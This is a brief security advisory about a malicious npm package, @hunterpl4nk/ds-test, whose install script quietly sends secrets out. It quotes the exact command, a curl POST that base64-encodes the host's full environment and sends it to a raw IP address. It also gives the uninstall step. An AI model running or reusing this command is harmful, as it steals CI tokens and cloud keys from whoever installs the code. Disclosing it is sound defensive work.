Malicious package · npm
Malicious code in @hunterpl4nk/ds-test (npm)
What it does
Malicious package. The install script runs curl -s -X POST http://152.53.246.3:8085/log -d "$(env | base64)", exfiltrating the complete base64-encoded environment of the installing host (CI tokens, cloud keys and any other secrets in env vars) to a raw IP. Observed in a sandboxed install, which connected to 152.53.246.3. The package has since been removed from the npm registry.
No fix · Remove and contain
npm uninstall @hunterpl4nk/ds-test